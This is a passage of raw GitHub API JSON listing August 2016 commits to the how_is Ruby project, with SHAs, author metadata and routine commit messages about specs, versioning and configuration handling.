:"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6054b61cf28a2780423adacb2dc11950171d34c6","url":"https://api.github.com/repos/how-is/how_is/commits/6054b61cf28a2780423adacb2dc11950171d34c6","html_url":"https://github.com/how-is/how_is/commit/6054b61cf28a2780423adacb2dc11950171d34c6"}]},{"sha":"6054b61cf28a2780423adacb2dc11950171d34c6","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NjA1NGI2MWNmMjhhMjc4MDQyM2FkYWNiMmRjMTE5NTAxNzFkMzRjNg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-26T20:38:17Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-26T20:38:17Z"},"message":"Raise exception if JSON file doesn''t exist.","tree":{"sha":"aa21b6a24138a96f1c8cff4522e4a6c6f6280d30","url":"https://api.github.com/repos/how-is/how_is/git/trees/aa21b6a24138a96f1c8cff4522e4a6c6f6280d30"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6054b61cf28a2780423adacb2dc11950171d34c6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6054b61cf28a2780423adacb2dc11950171d34c6","html_url":"https://github.com/how-is/how_is/commit/6054b61cf28a2780423adacb2dc11950171d34c6","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6054b61cf28a2780423adacb2dc11950171d34c6/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"de9143d9265031ed8f5a46e5481f4b7089edb747","url":"https://api.github.com/repos/how-is/how_is/commits/de9143d9265031ed8f5a46e5481f4b7089edb747","html_url":"https://github.com/how-is/how_is/commit/de9143d9265031ed8f5a46e5481f4b7089edb747"}]},{"sha":"de9143d9265031ed8f5a46e5481f4b7089edb747","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZGU5MTQzZDkyNjUwMzFlZDhmNWE0NmU1NDgxZjRiNzA4OWVkYjc0Nw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-26T20:34:34Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-26T20:34:34Z"},"message":"Specify versions in how_is.gemspec.","tree":{"sha":"0eee3bfbd7c6d99bcf2eb013cdf97eb45a30f6e4","url":"https://api.github.com/repos/how-is/how_is/git/trees/0eee3bfbd7c6d99bcf2eb013cdf97eb45a30f6e4"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/de9143d9265031ed8f5a46e5481f4b7089edb747","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/de9143d9265031ed8f5a46e5481f4b7089edb747","html_url":"https://github.com/how-is/how_is/commit/de9143d9265031ed8f5a46e5481f4b7089edb747","comments_url":"https://api.github.com/repos/how-is/how_is/commits/de9143d9265031ed8f5a46e5481f4b7089edb747/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"d7fc30a6d7884569a75db5069593bc4b8d79cae2","url":"https://api.github.com/repos/how-is/how_is/commits/d7fc30a6d7884569a75db5069593bc4b8d79cae2","html_url":"https://github.com/how-is/how_is/commit/d7fc30a6d7884569a75db5069593bc4b8d79cae2"}]},{"sha":"d7fc30a6d7884569a75db5069593bc4b8d79cae2","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDdmYzMwYTZkNzg4NDU2OWE3NWRiNTA2OTU5M2JjNGI4ZDc5Y2FlMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-20T23:08:02Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-20T23:08:02Z"},"message":"Fix --version, but the test still fails?!","tree":{"sha":"24026c152065a14231552e8cf0bcf7257f795d69","url":"https://api.github.com/repos/how-is/how_is/git/trees/24026c152065a14231552e8cf0bcf7257f795d69"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d7fc30a6d7884569a75db5069593bc4b8d79cae2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d7fc30a6d7884569a75db5069593bc4b8d79cae2","html_url":"https://github.com/how-is/how_is/commit/d7fc30a6d7884569a75db5069593bc4b8d79cae2","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d7fc30a6d7884569a75db5069593bc4b8d79cae2/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"698ca4dc5cb226f7fc08ecdd2ef706e80f2c840e","url":"https://api.github.com/repos/how-is/how_is/commits/698ca4dc5cb226f7fc08ecdd2ef706e80f2c840e","html_url":"https://github.com/how-is/how_is/commit/698ca4dc5cb226f7fc08ecdd2ef706e80f2c840e"}]},{"sha":"698ca4dc5cb226f7fc08ecdd2ef706e80f2c840e","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Njk4Y2E0ZGM1Y2IyMjZmN2ZjMDhlY2RkMmVmNzA2ZTgwZjJjODQwZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-20T22:52:40Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-20T22:52:40Z"},"message":"Beginning of HowIs::CLI::Parser specs.","tree":{"sha":"e49a1321458cf070acf607b6b1aa5fbd1f3d6f4e","url":"https://api.github.com/repos/how-is/how_is/git/trees/e49a1321458cf070acf607b6b1aa5fbd1f3d6f4e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/698ca4dc5cb226f7fc08ecdd2ef706e80f2c840e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/698ca4dc5cb226f7fc08ecdd2ef706e80f2c840e","html_url":"https://github.com/how-is/how_is/commit/698ca4dc5cb226f7fc08ecdd2ef706e80f2c840e","comments_url":"https://api.github.com/repos/how-is/how_is/commits/698ca4dc5cb226f7fc08ecdd2ef706e80f2c840e/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"8cff75d7a93e2298c289185085bac0eb803b93d4","url":"https://api.github.com/repos/how-is/how_is/commits/8cff75d7a93e2298c289185085bac0eb803b93d4","html_url":"https://github.com/how-is/how_is/commit/8cff75d7a93e2298c289185085bac0eb803b93d4"}]},{"sha":"8cff75d7a93e2298c289185085bac0eb803b93d4","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OGNmZjc1ZDdhOTNlMjI5OGMyODkxODUwODViYWMwZWI4MDNiOTNkNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-20T19:05:29Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-20T19:05:29Z"},"message":"Version bump (9.0).","tree":{"sha":"b3d3f5eda72e6c50ee708ecaa916ad0906f96bad","url":"https://api.github.com/repos/how-is/how_is/git/trees/b3d3f5eda72e6c50ee708ecaa916ad0906f96bad"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/8cff75d7a93e2298c289185085bac0eb803b93d4","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/8cff75d7a93e2298c289185085bac0eb803b93d4","html_url":"https://github.com/how-is/how_is/commit/8cff75d7a93e2298c289185085bac0eb803b93d4","comments_url":"https://api.github.com/repos/how-is/how_is/commits/8cff75d7a93e2298c289185085bac0eb803b93d4/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"5020bc695f5fa4cbca0fa797b348b9abdf788940","url":"https://api.github.com/repos/how-is/how_is/commits/5020bc695f5fa4cbca0fa797b348b9abdf788940","html_url":"https://github.com/how-is/how_is/commit/5020bc695f5fa4cbca0fa797b348b9abdf788940"}]},{"sha":"5020bc695f5fa4cbca0fa797b348b9abdf788940","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTAyMGJjNjk1ZjVmYTRjYmNhMGZhNzk3YjM0OGI5YWJkZjc4ODk0MA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-20T18:57:51Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-08-20T18:57:51Z"},"message":"Merge pull request #40 from how-is/dont-use-cucumber\n\nWe''re not using Cucumber + Aruba.","tree":{"sha":"04488c1153da753054afb65adb6ff34e63b77235","url":"https://api.github.com/repos/how-is/how_is/git/trees/04488c1153da753054afb65adb6ff34e63b77235"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/5020bc695f5fa4cbca0fa797b348b9abdf788940","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/5020bc695f5fa4cbca0fa797b348b9abdf788940","html_url":"https://github.com/how-is/how_is/commit/5020bc695f5fa4cbca0fa797b348b9abdf788940","comments_url":"https://api.github.com/repos/how-is/how_is/commits/5020bc695f5fa4cbca0fa797b348b9abdf788940/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"4ac2567209ada1a109b263bc8b5fe50dc9c42929","url":"https://api.github.com/repos/how-is/how_is/commits/4ac2567209ada1a109b263bc8b5fe50dc9c42929","html_url":"https://github.com/how-is/how_is/commit/4ac2567209ada1a109b263bc8b5fe50dc9c42929"},{"sha":"2e91f010106c12f331298040d3add778ee5b6433","url":"https://api.github.com/repos/how-is/how_is/commits/2e91f010106c12f331298040d3add778ee5b6433","html_url":"https://github.com/how-is/how_is/commit/2e91f010106c12f331298040d3add778ee5b6433"}]},{"sha":"2e91f010106c12f331298040d3add778ee5b6433","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MmU5MWYwMTAxMDZjMTJmMzMxMjk4MDQwZDNhZGQ3NzhlZTViNjQzMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-20T18:55:45Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-20T18:55:45Z"},"message":"We''re not using Cucumber + Aruba.","tree":{"sha":"04488c1153da753054afb65adb6ff34e63b77235","url":"https://api.github.com/repos/how-is/how_is/git/trees/04488c1153da753054afb65adb6ff34e63b77235"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2e91f010106c12f331298040d3add778ee5b6433","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2e91f010106c12f331298040d3add778ee5b6433","html_url":"https://github.com/how-is/how_is/commit/2e91f010106c12f331298040d3add778ee5b6433","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2e91f010106c12f331298040d3add778ee5b6433/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"4ac2567209ada1a109b263bc8b5fe50dc9c42929","url":"https://api.github.com/repos/how-is/how_is/commits/4ac2567209ada1a109b263bc8b5fe50dc9c42929","html_url":"https://github.com/how-is/how_is/commit/4ac2567209ada1a109b263bc8b5fe50dc9c42929"}]},{"sha":"4ac2567209ada1a109b263bc8b5fe50dc9c42929","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NGFjMjU2NzIwOWFkYTFhMTA5YjI2M2JjOGI1ZmU1MGRjOWM0MjkyOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-19T19:45:24Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-19T19:45:24Z"},"message":"CONFIG_FILE isn''t optional if you pass --config.","tree":{"sha":"2b543f131a2764420d445622c986bf43149a40a2","url":"https://api.github.com/repos/how-is/how_is/git/trees/2b543f131a2764420d445622c986bf43149a40a2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/4ac2567209ada1a109b263bc8b5fe50dc9c42929","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/4ac2567209ada1a109b263bc8b5fe50dc9c42929","html_url":"https://github.com/how-is/how_is/commit/4ac2567209ada1a109b263bc8b5fe50dc9c42929","comments_url":"https://api.github.com/repos/how-is/how_is/commits/4ac2567209ada1a109b263bc8b5fe50dc9c42929/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"e0391fb32d25c3a20024620b92e4f8590962199a","url":"https://api.github.com/repos/how-is/how_is/commits/e0391fb32d25c3a20024620b92e4f8590962199a","html_url":"https://github.com/how-is/how_is/commit/e0391fb32d25c3a20024620b92e4f8590962199a"}]},{"sha":"e0391fb32d25c3a20024620b92e4f8590962199a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTAzOTFmYjMyZDI1YzNhMjAwMjQ2MjBiOTJlNGY4NTkwOTYyMTk5YQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-19T19:44:55Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-19T19:44:55Z"},"message":"Define default format in one location.","tree":{"sha":"e9f5b02b99e2f58098488ada682f9c2e9b11a631","url":"https://api.github.com/repos/how-is/how_is/git/trees/e9f5b02b99e2f58098488ada682f9c2e9b11a631"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e0391fb32d25c3a20024620b92e4f8590962199a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e0391fb32d25c3a20024620b92e4f8590962199a","html_url":"https://github.com/how-is/how_is/commit/e0391fb32d25c3a20024620b92e4f8590962199a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e0391fb32d25c3a20024620b92e4f8590962199a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"d8e715bb1c4446eafeac2011c096ebfbfe8cbd5b","url":"https://api.github.com/repos/how-is/how_is/commits/d8e715bb1c4446eafeac2011c096ebfbfe8cbd5b","html_url":"https://github.com/how-is/how_is/commit/d8e715bb1c4446eafeac2011c096ebfbfe8cbd5b"}]},{"sha":"d8e715bb1c4446eafeac2011c096ebfbfe8cbd5b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDhlNzE1YmIxYzQ0NDZlYWZlYWMyMDExYzA5NmViZmJmZThjYmQ1Yg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-19T19:25:19Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-19T19:25:19Z"},"message":"Remove debug code.","tree":{"sha":"6d159d016bf8a4abed8ab55a97d0747a00c40506","url":"https://api.github.com/repos/how-is/how_is/git/trees/6d159d016bf8a4abed8ab55a97d0747a00c40506"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d8e715bb1c4446eafeac2011c096ebfbfe8cbd5b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d8e715bb1c4446eafeac2011c096ebfbfe8cbd5b","html_url":"https://github.com/how-is/how_is/commit/d8e715bb1c4446eafeac2011c096ebfbfe8cbd5b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d8e715bb1c4446eafeac2011c096ebfbfe8cbd5b/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXN